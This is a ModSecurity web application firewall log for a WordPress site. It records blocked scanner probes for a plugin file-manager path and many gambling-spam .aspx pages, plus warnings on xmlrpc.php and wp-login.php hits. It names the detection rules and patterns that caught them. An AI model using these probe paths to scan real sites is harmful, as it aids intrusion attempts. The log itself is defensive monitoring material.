[Mon Feb 09 07:22:25.337360 2026] [:error] [pid 47938:tid 47980] [client 20.48.253.154:35189] [client 20.48.253.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aYkasbVCzWE6fQJEkNJERwAAAEE"]
[Mon Feb 09 07:22:25.764876 2026] [:error] [pid 60678:tid 60729] [client 20.48.253.154:26142] [client 20.48.253.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aYkase8Gd_fDFrcNu4MkrAAAAwM"]
[Mon Feb 09 07:50:26.884775 2026] [:error] [pid 60678:tid 60724] [client 47.251.71.191:39246] [client 47.251.71.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.251.71.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYkhQu8Gd_fDFrcNu4Mq0gAAAwE"]
[Mon Feb 09 07:50:30.149934 2026] [:error] [pid 47937:tid 47964] [client 116.202.134.139:58590] [client 116.202.134.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.202.134.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYkhRs4Fd42MP2DhNrVOlgAAABI"]
[Mon Feb 09 07:51:03.204803 2026] [:error] [pid 60619:tid 60642] [client 162.0.235.223:51892] [client 162.0.235.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.0.235.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYkhZ3Epg0UoeR8kJ-1w1AAAAkI"]
[Mon Feb 09 07:51:22.752090 2026] [:error] [pid 60676:tid 60692] [client 34.63.36.209:54916] [client 34.63.36.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.63.36.209, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYkhenhKcn7mJYMx5_AZqAAAAog"]
[Mon Feb 09 07:51:30.279337 2026] [:error] [pid 60678:tid 60760] [client 47.251.71.191:48300] [client 47.251.71.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.251.71.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYkhgu8Gd_fDFrcNu4MrAgAAAww"]
[Mon Feb 09 07:51:36.654147 2026] [:error] [pid 60508:tid 60516] [client 50.6.224.234:41960] [client 50.6.224.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.6.224.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYkhiOXDvLC4ADfnEzMhtAAAAYY"]
[Mon Feb 09 09:21:47.705218 2026] [:error] [pid 60677:tid 60714] [client 206.183.128.56:60604] [client 206.183.128.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.183.128.56, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYk2q1yBgzfmDf6GaevT4QAAAsM"]
[Mon Feb 09 09:21:49.717766 2026] [:error] [pid 60677:tid 60731] [client 206.183.128.56:60604] [client 206.183.128.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.183.128.56, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYk2rVyBgzfmDf6GaevT5AAAAsw"], referer: https://gigfragments.org/wp-login.php
[Mon Feb 09 10:48:06.232656 2026] [:error] [pid 60677:tid 60725] [client 109.234.160.16:52302] [client 109.234.160.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.234.160.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYlK5lyBgzfmDf6Gaev4pgAAAss"]
[Mon Feb 09 11:20:49.962697 2026] [:error] [pid 47938:tid 47980] [client 54.36.60.45:57308] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aYlSkbVCzWE6fQJEkNKMxQAAAEE"]
[Mon Feb 09 11:20:51.854387 2026] [:error] [pid 60676:tid 60700] [client 54.36.60.45:57312] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aYlSk3hKcn7mJYMx5_BEIwAAApA"]
[Mon Feb 09 11:20:53.780356 2026] [:error] [pid 47938:tid 48000] [client 54.36.60.45:57322] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aYlSlbVCzWE6fQJEkNKMyQAAAFU"]
[Mon Feb 09 11:20:55.678233 2026] [:error] [pid 60589:tid 60604] [client 54.36.60.45:41664] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aYlSlzIJyhPWC0JyMLwQHgAAAc0"]
[Mon Feb 09 11:20:57.709668 2026] [:error] [pid 60678:tid 60740] [client 54.36.60.45:41670] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aYlSme8Gd_fDFrcNu4NUwAAAAwU"]
[Mon Feb 09 11:20:59.665999 2026] [:error] [pid 18303:tid 18327] [client 54.36.60.45:41684] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aYlSm0Y7TEaZkFrGG4k9mQAAARY"]
[Mon Feb 09 11:21:01.538610 2026] [:error] [pid 60678:tid 60785] [client 54.36.60.45:41700] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aYlSne8Gd_fDFrcNu4NUwwAAAxU"]
[Mon Feb 09 11:21:03.433170 2026] [:error] [pid 60676:tid 60684] [client 54.36.60.45:41712] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aYlSn3hKcn7mJYMx5_BEKwAAAoA"]
[Mon Feb 09 11:21:05.475164 2026] [:error] [pid 47938:tid 47982] [client 54.36.60.45:48998] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aYlSobVCzWE6fQJEkNKM3AAAAEM"]
[Mon Feb 09 11:21:07.374935 2026] [:error] [pid 60619:tid 60647] [client 54.36.60.45:49002] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aYlSo3Epg0UoeR8kJ-264AAAAkY"]
[Mon Feb 09 11:21:09.405023 2026] [:error] [pid 60589:tid 60597] [client 54.36.60.45:49014] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aYlSpTIJyhPWC0JyMLwQLgAAAcY"]
[Mon Feb 09 11:21:11.291123 2026] [:error] [pid 60589:tid 60614] [client 54.36.60.45:49030] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aYlSpzIJyhPWC0JyMLwQMQAAAdc"]
[Mon Feb 09 11:21:13.310292 2026] [:error] [pid 47937:tid 47957] [client 54.36.60.45:49044] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aYlSqc4Fd42MP2DhNrWCJQAAAAs"]
[Mon Feb 09 11:21:15.327461 2026] [:error] [pid 47937:tid 47950] [client 54.36.60.45:56668] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aYlSq84Fd42MP2DhNrWCJwAAAAQ"]
[Mon Feb 09 11:21:17.358671 2026] [:error] [pid 60677:tid 60731] [client 54.36.60.45:56670] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aYlSrVyBgzfmDf6GaesGMQAAAsw"]
[Mon Feb 09 11:21:19.401205 2026] [:error] [pid 18303:tid 18321] [client 54.36.60.45:56678] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aYlSr0Y7TEaZkFrGG4k9oAAAARA"]
[Mon Feb 09 11:21:21.265814 2026] [:error] [pid 60589:tid 60598] [client 54.36.60.45:56686] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aYlSsTIJyhPWC0JyMLwQNQAAAcc"]
[Mon Feb 09 11:21:23.290692 2026] [:error] [pid 47938:tid 47995] [client 54.36.60.45:56702] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aYlSs7VCzWE6fQJEkNKM_AAAAFA"]
[Mon Feb 09 11:21:25.314103 2026] [:error] [pid 47938:tid 47990] [client 54.36.60.45:60856] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aYlStbVCzWE6fQJEkNKNBAAAAEs"]
[Mon Feb 09 11:21:27.326618 2026] [:error] [pid 47938:tid 48000] [client 54.36.60.45:60872] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYlSt7VCzWE6fQJEkNKNCgAAAFU"]
[Mon Feb 09 11:21:29.217101 2026] [:error] [pid 60677:tid 60773] [client 54.36.60.45:60874] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYlSuVyBgzfmDf6GaesGPQAAAtY"]
[Mon Feb 09 11:21:31.238560 2026] [:error] [pid 60589:tid 60593] [client 54.36.60.45:60876] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aYlSuzIJyhPWC0JyMLwQPAAAAcI"]
[Mon Feb 09 11:21:33.261919 2026] [:error] [pid 60678:tid 60774] [client 54.36.60.45:60880] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aYlSve8Gd_fDFrcNu4NU0AAAAxE"]
[Mon Feb 09 11:21:35.126993 2026] [:error] [pid 60677:tid 60731] [client 54.36.60.45:52282] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aYlSv1yBgzfmDf6GaesGRgAAAsw"]
[Mon Feb 09 11:21:37.165318 2026] [:error] [pid 60508:tid 60519] [client 54.36.60.45:52286] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aYlSweXDvLC4ADfnEzNbfQAAAYk"]
[Mon Feb 09 11:21:40.192786 2026] [:error] [pid 60589:tid 60611] [client 54.36.60.45:52300] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aYlSxDIJyhPWC0JyMLwQQgAAAdQ"]
[Mon Feb 09 11:22:19.238759 2026] [:error] [pid 60589:tid 60615] [client 5.175.47.156:55558] [client 5.175.47.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.175.47.156, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYlS6zIJyhPWC0JyMLwQbQAAAdg"]
[Mon Feb 09 11:22:57.380342 2026] [:error] [pid 60677:tid 60739] [client 54.36.60.45:32848] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "aYlTEVyBgzfmDf6GaesG8gAAAs4"]
[Mon Feb 09 11:22:59.348157 2026] [:error] [pid 60677:tid 60731] [client 54.36.60.45:56262] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aYlTE1yBgzfmDf6GaesHKAAAAsw"]
[Mon Feb 09 11:23:01.342474 2026] [:error] [pid 18303:tid 18310] [client 54.36.60.45:56268] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYlTFUY7TEaZkFrGG4k99AAAAQU"]
[Mon Feb 09 11:23:04.960854 2026] [:error] [pid 47938:tid 47991] [client 54.36.60.45:41068] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYlTGLVCzWE6fQJEkNKNnAAAAEw"]
[Mon Feb 09 11:23:07.029048 2026] [:error] [pid 60589:tid 60601] [client 54.36.60.45:41076] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYlTGzIJyhPWC0JyMLwQswAAAco"]
[Mon Feb 09 11:23:10.039535 2026] [:error] [pid 60589:tid 60609] [client 54.36.60.45:41084] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYlTHjIJyhPWC0JyMLwQuQAAAdI"]
[Mon Feb 09 11:23:13.124786 2026] [:error] [pid 60677:tid 60731] [client 54.36.60.45:41098] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYlTIVyBgzfmDf6GaesHVQAAAsw"]
[Mon Feb 09 11:23:15.173643 2026] [:error] [pid 60678:tid 60763] [client 54.36.60.45:36392] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYlTI-8Gd_fDFrcNu4NVRgAAAw0"]
[Mon Feb 09 11:23:17.177528 2026] [:error] [pid 47938:tid 48002] [client 54.36.60.45:36400] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYlTJbVCzWE6fQJEkNKNywAAAFc"]
[Mon Feb 09 11:23:19.170784 2026] [:error] [pid 60677:tid 60778] [client 54.36.60.45:36408] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYlTJ1yBgzfmDf6GaesHXwAAAtg"]
[Mon Feb 09 11:23:22.159632 2026] [:error] [pid 60619:tid 60664] [client 54.36.60.45:36414] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aYlTKnEpg0UoeR8kJ-27WQAAAk4"]
[Mon Feb 09 11:23:24.231046 2026] [:error] [pid 60678:tid 60765] [client 54.36.60.45:47938] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aYlTLO8Gd_fDFrcNu4NVTQAAAw4"]
[Mon Feb 09 11:23:26.213846 2026] [:error] [pid 47938:tid 47986] [client 54.36.60.45:47954] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aYlTLrVCzWE6fQJEkNKN5QAAAEc"]
[Mon Feb 09 11:23:28.207461 2026] [:error] [pid 18303:tid 18328] [client 54.36.60.45:47956] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aYlTMEY7TEaZkFrGG4k-AwAAARc"]
[Mon Feb 09 11:23:30.196624 2026] [:error] [pid 60676:tid 60700] [client 54.36.60.45:47958] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aYlTMnhKcn7mJYMx5_BEfwAAApA"]
[Mon Feb 09 11:23:32.029381 2026] [:error] [pid 60619:tid 60666] [client 54.36.60.45:47966] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aYlTNHEpg0UoeR8kJ-27ZQAAAlA"]
[Mon Feb 09 11:23:35.043311 2026] [:error] [pid 60679:tid 60779] [client 54.36.60.45:36942] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aYlTN8ixhoT1e6Iv6g-CTgAAA1Y"]
